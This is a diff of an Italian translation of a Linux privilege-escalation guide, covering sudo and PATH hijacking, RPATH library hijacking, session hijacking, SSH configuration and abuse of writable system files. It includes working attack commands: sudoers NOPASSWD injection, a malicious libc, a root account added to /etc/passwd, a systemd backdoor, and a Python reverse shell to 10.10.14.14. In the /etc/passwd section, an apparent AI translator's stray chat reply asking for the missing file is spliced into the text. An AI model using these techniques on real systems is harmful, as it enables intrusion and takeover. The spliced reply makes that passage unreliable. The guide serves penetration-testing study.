/etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Un altro modo per abusare di questi permessi: +Un altro modo di abusare di questi permessi: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -982,17 +983,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -Ci sono alcune alternative al binario `sudo` come `doas` per OpenBSD, ricorda di controllare la sua configurazione in `/etc/doas.conf` +Esistono alcune alternative al binario `sudo`, come `doas` su OpenBSD; ricordati di controllare la sua configurazione in `/etc/doas.conf`. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Se sai che un **utente di solito si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell all'interno di quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Poi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, il tuo eseguibile sudo venga eseguito. +Se sai che un **utente di solito si connette a una macchina e usa `sudo`** per elevare i privilegi e hai ottenuto una shell in quel contesto utente, puoi **creare un nuovo eseguibile sudo** che eseguirà il tuo codice come root e poi il comando dell'utente. Quindi, **modifica il $PATH** del contesto utente (ad esempio aggiungendo il nuovo percorso in .bash_profile) in modo che quando l'utente esegue sudo, venga eseguito il tuo eseguibile sudo. -Nota che se l'utente utilizza una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Nota che se l'utente usa una shell diversa (non bash) dovrai modificare altri file per aggiungere il nuovo percorso. Ad esempio [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Puoi trovare un altro esempio in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -O eseguendo qualcosa come: +Oppure eseguendo qualcosa del tipo: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Copiare la lib in `/var/tmp/flag15/` verrà utilizzata dal programma in questo luogo come specificato nella variabile `RPATH`. +Copiando la lib in `/var/tmp/flag15/`, verrà utilizzata dal programma in questo percorso come specificato nella variabile `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1043,7 +1044,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Poi crea una libreria maligna in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Poi crea una libreria malevola in `/var/tmp` con `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ```c #include #define SHELL "/bin/sh" @@ -1058,23 +1059,24 @@ execve(file,argv,0); ``` ## Capacità -Le capacità di Linux forniscono un **sottoinsieme dei privilegi di root disponibili a un processo**. Questo rompe efficacemente i privilegi di root **in unità più piccole e distintive**. Ognuna di queste unità può quindi essere concessa indipendentemente ai processi. In questo modo, l'insieme completo di privilegi è ridotto, diminuendo i rischi di sfruttamento.\ -Leggi la pagina seguente per **scoprire di più sulle capacità e su come abusarne**: +Le capacità di Linux forniscono un **sottoinsieme dei privilegi di root disponibili a un processo**. Questo suddivide efficacemente i **privilegi di root in unità più piccole e distintive**. Ciascuna di queste unità può quindi essere concessa indipendentemente ai processi. In questo modo l'insieme completo dei privilegi è ridotto, diminuendo i rischi di sfruttamento.\ +Leggi la pagina seguente per **saperne di più sulle capacità e su come abusarne**: + {{#ref}} linux-capabilities.md {{#endref}} -## Permessi di directory +## Directory permissions -In una directory, il **bit per "eseguire"** implica che l'utente interessato può "**cd**" nella cartella.\ -Il bit **"leggi"** implica che l'utente può **elencare** i **file**, e il bit **"scrivi"** implica che l'utente può **cancellare** e **creare** nuovi **file**. +In una directory, il **bit "execute"** implica che l'utente interessato può eseguire un "**cd**" nella cartella.\ +Il **bit "read"** implica che l'utente possa **elencare** i **file**, e il **bit "write"** implica che l'utente possa **cancellare** e **creare** nuovi **file**. -## ACL +## ACLs -Le Liste di Controllo degli Accessi (ACL) rappresentano il secondo livello di permessi discrezionali, capaci di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory consentendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**qui**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) rappresentano il livello secondario di permessi discrezionali, in grado di **sovrascrivere i tradizionali permessi ugo/rwx**. Questi permessi migliorano il controllo sull'accesso a file o directory permettendo o negando diritti a utenti specifici che non sono i proprietari o parte del gruppo. Questo livello di **granularità garantisce una gestione degli accessi più precisa**. Ulteriori dettagli possono essere trovati [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Dai** all'utente "kali" permessi di lettura e scrittura su un file: +**Concedi** all'utente "kali" permessi di lettura e scrittura su un file: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1085,21 +1087,21 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Apri sessioni shell +## Aprire shell sessions -In **vecchie versioni** puoi **dirottare** alcune sessioni **shell** di un altro utente (**root**).\ -Nelle **versioni più recenti** sarai in grado di **connetterti** solo alle sessioni screen del **tuo stesso utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. +Nelle **vecchie versioni** potresti **hijack** alcune sessioni **shell** di un altro utente (**root**).\ +Nelle **versioni più recenti** potrai **connect** solo alle sessioni di screen del **tuo stesso utente**. Tuttavia, potresti trovare **informazioni interessanti all'interno della sessione**. -### dirottamento delle sessioni screen +### hijacking delle sessioni di screen -**Elenca le sessioni screen** +**Elenca le screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**Collegati a una sessione** +**Collegarsi a una sessione** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1117,7 +1119,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Collegati a una sessione** +**Collegarsi a una sessione** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1127,126 +1129,133 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Controlla **Valentine box from HTB** per un esempio. +Vedi **Valentine box from HTB** per un esempio. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Tutti le chiavi SSL e SSH generate su sistemi basati su Debian (Ubuntu, Kubuntu, ecc.) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ -Questo bug è causato quando si crea una nuova chiave ssh in quei sistemi operativi, poiché **erano possibili solo 32.768 variazioni**. Ciò significa che tutte le possibilità possono essere calcolate e **avendo la chiave pubblica ssh puoi cercare la corrispondente chiave privata**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Tutte le SSL e SSH keys generate su sistemi basati su Debian (Ubuntu, Kubuntu, etc) tra settembre 2006 e il 13 maggio 2008 potrebbero essere affette da questo bug.\ +Questo bug si verifica quando si crea una nuova ssh key in quegli OS, poiché **solo 32,768 variazioni erano possibili**. Questo significa che tutte le possibilità possono essere calcolate e **avendo la ssh public key puoi cercare la corrispondente private key**. Puoi trovare le possibilità calcolate qui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -### Valori di configurazione SSH interessanti +### SSH Interesting configuration values -- **PasswordAuthentication:** Specifica se l'autenticazione tramite password è consentita. Il valore predefinito è `no`. -- **PubkeyAuthentication:** Specifica se l'autenticazione tramite chiave pubblica è consentita. Il valore predefinito è `yes`. -- **PermitEmptyPasswords**: Quando l'autenticazione tramite password è consentita, specifica se il server consente l'accesso a account con stringhe di password vuote. Il valore predefinito è `no`. +- **PasswordAuthentication:** Specifica se è consentita l'autenticazione tramite password. Il valore predefinito è `no`. +- **PubkeyAuthentication:** Specifica se è consentita l'autenticazione tramite public key. Il valore predefinito è `yes`. +- **PermitEmptyPasswords**: Quando l'autenticazione tramite password è consentita, specifica se il server permette il login ad account con stringhe di password vuote. Il valore predefinito è `no`. ### PermitRootLogin -Specifica se root può accedere utilizzando ssh, il valore predefinito è `no`. Valori possibili: +Specifica se root può effettuare il login usando ssh, il valore predefinito è `no`. Valori possibili: -- `yes`: root può accedere utilizzando password e chiave privata -- `without-password` o `prohibit-password`: root può accedere solo con una chiave privata -- `forced-commands-only`: Root può accedere solo utilizzando la chiave privata e se le opzioni dei comandi sono specificate +- `yes`: root può effettuare il login usando password e private key +- `without-password` or `prohibit-password`: root può accedere solo con una private key +- `forced-commands-only`: root può accedere solo usando una private key e se sono specificate opzioni di comando - `no` : no ### AuthorizedKeysFile -Specifica i file che contengono le chiavi pubbliche che possono essere utilizzate per l'autenticazione dell'utente. Può contenere token come `%h`, che verranno sostituiti dalla directory home. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Ad esempio: +Specifica i file che contengono le public keys che possono essere usate per l'autenticazione degli utenti. Può contenere token come `%h`, che verrà sostituito dalla home directory. **Puoi indicare percorsi assoluti** (che iniziano con `/`) o **percorsi relativi dalla home dell'utente**. Per esempio: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Quella configurazione indicherà che se provi a effettuare il login con la chiave **privata** dell'utente "**testusername**", ssh confronterà la chiave pubblica della tua chiave con quelle situate in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access`. +Quella configurazione indica che se provi a effettuare il login con la **private** key dell'utente "**testusername**" ssh confronterà la public key della tua key con quelle presenti in `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -Il forwarding dell'agente SSH ti consente di **utilizzare le tue chiavi SSH locali invece di lasciare le chiavi** (senza passphrase!) sul tuo server. Quindi, sarai in grado di **saltare** via ssh **a un host** e da lì **saltare a un altro** host **utilizzando** la **chiave** situata nel tuo **host iniziale**. +SSH agent forwarding permette di **usare le tue SSH keys locali invece di lasciare keys** (senza passphrase!) sul server. In questo modo potrai **jump** via ssh **a un host** e da lì **jump a un altro** host **usando** la **key** presente nel tuo **host iniziale**. -Devi impostare questa opzione in `$HOME/.ssh.config` in questo modo: +Devi impostare questa opzione in `$HOME/.ssh.config` così: ``` Host example.com ForwardAgent yes ``` -Nota che se `Host` è `*` ogni volta che l'utente passa a una macchina diversa, quel host sarà in grado di accedere alle chiavi (il che rappresenta un problema di sicurezza). +Nota che se `Host` è `*` ogni volta che l'utente si sposta su una macchina diversa, quell'host potrà accedere alle chiavi (il che rappresenta un problema di sicurezza). -Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e consentire o negare questa configurazione.\ -Il file `/etc/sshd_config` può **consentire** o **negare** il forwarding dell'ssh-agent con la parola chiave `AllowAgentForwarding` (il valore predefinito è consentito). +Il file `/etc/ssh_config` può **sovrascrivere** queste **opzioni** e permettere o negare questa configurazione.\ +Il file `/etc/sshd_config` può **consentire** o **negare** ssh-agent forwarding con la parola chiave `AllowAgentForwarding` (di default è consentito). -Se scopri che il Forward Agent è configurato in un ambiente leggi la seguente pagina in quanto **potresti essere in grado di abusarne per escalare i privilegi**: +Se trovi che Forward Agent è configurato in un ambiente, leggi la seguente pagina poiché **potresti essere in grado di abusarne per ottenere privilegi elevati**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## File Interessanti +## File interessanti ### File di profilo -Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente avvia una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi puoi escalare i privilegi**. +Il file `/etc/profile` e i file sotto `/etc/profile.d/` sono **script che vengono eseguiti quando un utente apre una nuova shell**. Pertanto, se puoi **scrivere o modificare uno di essi, puoi ottenere privilegi elevati**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Se viene trovato un script di profilo strano, dovresti controllarlo per **dettagli sensibili**. +Se viene trovato uno script di profilo sospetto dovresti controllarlo per **dettagli sensibili**. -### File Passwd/Shadow +### Passwd/Shadow Files -A seconda del sistema operativo, i file `/etc/passwd` e `/etc/shadow` potrebbero avere un nome diverso o potrebbe esserci un backup. Pertanto, è consigliato **trovare tutti** e **controllare se puoi leggerli** per vedere **se ci sono hash** all'interno dei file: +A seconda dell'OS i file `/etc/passwd` e `/etc/shadow` potrebbero avere un nome diverso o potrebbe esserci una copia di backup. Pertanto è consigliabile **trovarli tutti** e **verificare se puoi leggerli** per vedere **se ci sono hashes** all'interno dei file: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -In alcune occasioni puoi trovare **password hashes** all'interno del file `/etc/passwd` (o equivalente) +In alcune occasioni si possono trovare **password hashes** all'interno del file `/etc/passwd` (o equivalente) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### /etc/passwd scrivibile -Prima di tutto, genera una password con uno dei seguenti comandi. +Per prima cosa, genera una password con uno dei seguenti comandi. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Quindi aggiungi l'utente `hacker` e aggiungi la password generata. +Non ho ricevuto il contenuto di src/linux-hardening/privilege-escalation/README.md. Per procedere ho bisogno del testo da tradurre. + +Per favore: +- Incolla qui il contenuto del file README.md. +- Vuoi che generi una password casuale per l'utente `hacker`? Se sì, specifica lunghezza e se includere simboli; altrimenti fornisci la password da inserire. +- Vuoi che aggiunga anche il comando suggerito per creare l'utente (es. useradd && echo 'password' | passwd --stdin hacker) o soltanto che modifichi il file README aggiungendo la riga con l'utente e la password generata? + +Appena mi mandi il file e le preferenze, restituirò il markdown tradotto in italiano e includerò l'utente `hacker` con la password generata. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Es.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Puoi ora utilizzare il comando `su` con `hacker:hacker` +Ora puoi usare il comando `su` con `hacker:hacker` -In alternativa, puoi utilizzare le seguenti righe per aggiungere un utente fittizio senza password.\ -ATTENZIONE: potresti compromettere la sicurezza attuale della macchina. +In alternativa, puoi usare le seguenti righe per aggiungere un utente fittizio senza password.\ +ATTENZIONE: potresti ridurre il livello di sicurezza della macchina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Sulle piattaforme BSD, `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. +NOTA: Sulle piattaforme BSD `/etc/passwd` si trova in `/etc/pwd.db` e `/etc/master.passwd`, inoltre `/etc/shadow` è rinominato in `/etc/spwd.db`. -Dovresti controllare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione del servizio**? +Dovresti verificare se puoi **scrivere in alcuni file sensibili**. Ad esempio, puoi scrivere in qualche **file di configurazione di servizio**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Ad esempio, se la macchina sta eseguendo un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat all'interno di /etc/systemd/,** allora puoi modificare le righe: +Ad esempio, se la macchina esegue un server **tomcat** e puoi **modificare il file di configurazione del servizio Tomcat in /etc/systemd/,** allora puoi modificare le righe: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Il tuo backdoor verrà eseguito la prossima volta che tomcat verrà avviato. +La tua backdoor verrà eseguita la prossima volta che tomcat verrà avviato. -### Controlla le Cartelle +### Controlla le cartelle -Le seguenti cartelle potrebbero contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non sarai in grado di leggere l'ultima, ma prova) +Le seguenti cartelle possono contenere backup o informazioni interessanti: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Probabilmente non sarai in grado di leggere l'ultima, ma prova) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### File inusuali/di proprietà +### Posizioni strane/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1267,11 +1276,11 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### File DB Sqlite +### File DB di Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### *_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml file ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1279,7 +1288,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries nel PATH** +### **Script/Binari in PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1291,26 +1300,26 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Backup** +### **Copie di sicurezza** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### File noti contenenti password +### File noti contenenti passwords -Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi file possibili che potrebbero contenere password**.\ -**Un altro strumento interessante** che puoi usare per farlo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source utilizzata per recuperare molte password memorizzate su un computer locale per Windows, Linux e Mac. +Leggi il codice di [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), cerca **diversi possibili file che potrebbero contenere passwords**.\ +**Un altro strumento interessante** che puoi usare per farlo è: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) che è un'applicazione open source usata per recuperare molte passwords memorizzate su un computer locale per Windows, Linux & Mac. ### Log -Se puoi leggere i log, potresti essere in grado di trovare **informazioni interessanti/confidenziali al loro interno**. Più strano è il log, più interessante sarà (probabilmente).\ -Inoltre, alcuni log di **audit** **"mal configurati"** (backdoored?) potrebbero permetterti di **registrare password** all'interno dei log di audit come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se puoi leggere i log, potresti trovare **informazioni interessanti/confidenziali al loro interno**. Più il log è strano, più sarà interessante (probabilmente).\ +Inoltre, alcuni **"bad"** audit logs configurati (backdoored?) potrebbero permetterti di **registrare passwords** all'interno degli audit logs come spiegato in questo post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà davvero utile. +Per poter leggere i log, il gruppo [**adm**](interesting-groups-linux-pe/index.html#adm-group) sarà molto utile. -### File shell +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1323,66 +1332,68 @@ Per **leggere i log il gruppo** [**adm**](interesting-groups-linux-pe/index.html ``` ### Generic Creds Search/Regex -Dovresti anche controllare i file che contengono la parola "**password**" nel suo **nome** o all'interno del **contenuto**, e controllare anche per IP ed email all'interno dei log, o regex di hash.\ +Dovresti anche controllare file che contengono la parola "**password**" nel loro **nome** o nel **contenuto**, e controllare anche IPs e emails nei logs, oppure hashes regexps.\ Non elencherò qui come fare tutto questo, ma se sei interessato puoi controllare gli ultimi controlli che [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) esegue. ## Writable files ### Python library hijacking -Se sai da **dove** verrà eseguito uno script python e **puoi scrivere all'interno** di quella cartella o puoi **modificare le librerie python**, puoi modificare la libreria OS e inserirvi un backdoor (se puoi scrivere dove verrà eseguito lo script python, copia e incolla la libreria os.py). +Se sai da **dove** verrà eseguito uno script python e **puoi scrivere in** quella cartella oppure puoi **modify python libraries**, puoi modificare la libreria OS e backdoor it (se puoi scrivere dove lo script python verrà eseguito, copia e incolla la libreria os.py). -Per **inserire un backdoor nella libreria** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT): +Per **backdoor the library** basta aggiungere alla fine della libreria os.py la seguente riga (cambia IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Sfruttamento di logrotate -Una vulnerabilità in `logrotate` consente agli utenti con **permessi di scrittura** su un file di log o le sue directory genitore di potenzialmente ottenere privilegi elevati. Questo perché `logrotate`, spesso in esecuzione come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante controllare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. +Una vulnerabilità in `logrotate` permette agli utenti con **permessi di scrittura** su un file di log o sulle sue directory madri di ottenere potenzialmente privilegi elevati. Questo perché `logrotate`, spesso eseguito come **root**, può essere manipolato per eseguire file arbitrari, specialmente in directory come _**/etc/bash_completion.d/**_. È importante verificare i permessi non solo in _/var/log_ ma anche in qualsiasi directory in cui viene applicata la rotazione dei log. > [!TIP] -> Questa vulnerabilità colpisce `logrotate` versione `3.18.0` e versioni precedenti +> Questa vulnerabilità interessa `logrotate` versione `3.18.0` e precedenti -Informazioni più dettagliate sulla vulnerabilità possono essere trovate su questa pagina: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Maggiori informazioni sulla vulnerabilità sono disponibili qui: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Puoi sfruttare questa vulnerabilità con [**logrotten**](https://github.com/whotwagner/logrotten). -Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(log di nginx),** quindi ogni volta che scopri di poter alterare i log, controlla chi gestisce quei log e verifica se puoi elevare i privilegi sostituendo i log con symlink. +Questa vulnerabilità è molto simile a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** quindi quando trovi che puoi modificare i logs, verifica chi gestisce quei logs e controlla se puoi escalare i privilegi sostituendo i logs con symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**Riferimento vulnerabilità:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **o** può **modificare** uno esistente, allora il tuo **sistema è compromesso**. +Se, per qualsiasi motivo, un utente è in grado di **scrivere** uno script `ifcf-` in _/etc/sysconfig/network-scripts_ **oppure** può **modificare** uno esistente, allora il tuo **sistema è pwned**. -Gli script di rete, _ifcg-eth0_ ad esempio, sono utilizzati per le connessioni di rete. Sembrano esattamente come file .INI. Tuttavia, sono \~sourced\~ su Linux dal Network Manager (dispatcher.d). +Gli script di rete, ad esempio _ifcg-eth0_, sono usati per le connessioni di rete. Sembrano esattamente file .INI. Tuttavia, vengono \~sourced\~ su Linux da Network Manager (dispatcher.d). -Nel mio caso, il `NAME=` attribuito in questi script di rete non è gestito correttamente. Se hai **spazio bianco/nullo nel nome, il sistema cerca di eseguire la parte dopo lo spazio bianco/nullo**. Questo significa che **tutto dopo il primo spazio bianco viene eseguito come root**. +Nel mio caso, l'attributo `NAME=` in questi script di rete non viene gestito correttamente. Se hai **spazio bianco/blank nel nome il sistema prova a eseguire la parte dopo lo spazio bianco/blank**. Questo significa che **tutto ciò che segue il primo spazio viene eseguito come root**. -Per esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ +Ad esempio: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` +(_Nota lo spazio vuoto tra Network e /bin/id_) + ### **init, init.d, systemd e rc.d** -La directory `/etc/init.d` è la casa di **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `avviare`, `fermare`, `riavviare` e talvolta `ricaricare` i servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici trovati in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. +La directory `/etc/init.d` è la sede di **script** per System V init (SysVinit), il **classico sistema di gestione dei servizi Linux**. Include script per `start`, `stop`, `restart`, e talvolta `reload` dei servizi. Questi possono essere eseguiti direttamente o tramite collegamenti simbolici presenti in `/etc/rc?.d/`. Un percorso alternativo nei sistemi Redhat è `/etc/rc.d/init.d`. -D'altra parte, `/etc/init` è associato a **Upstart**, un **sistema di gestione dei servizi** più recente introdotto da Ubuntu, che utilizza file di configurazione per i compiti di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a un livello di compatibilità in Upstart. +D'altro canto, `/etc/init` è associata a **Upstart**, una soluzione più recente di **gestione dei servizi** introdotta da Ubuntu, che utilizza file di configurazione per le attività di gestione dei servizi. Nonostante la transizione a Upstart, gli script SysVinit sono ancora utilizzati insieme alle configurazioni di Upstart grazie a uno strato di compatibilità in Upstart. -**systemd** emerge come un moderno gestore di inizializzazione e servizi, offrendo funzionalità avanzate come l'avvio di demoni su richiesta, la gestione dell'automount e istantanee dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche degli amministratori, semplificando il processo di amministrazione del sistema. +**systemd** emerge come un moderno gestore di inizializzazione e dei servizi, offrendo funzionalità avanzate come l'avvio on-demand dei daemon, la gestione degli automount e gli snapshot dello stato del sistema. Organizza i file in `/usr/lib/systemd/` per i pacchetti di distribuzione e `/etc/systemd/system/` per le modifiche dell'amministratore, semplificando il processo di amministrazione del sistema. -## Altri trucchi +## Altri Trucchi -### Escalation dei privilegi NFS +### NFS Privilege escalation {{#ref}} nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Uscire da Shells ristrette +### Escaping from restricted Shells {{#ref}} @@ -1396,29 +1407,38 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} +## Android 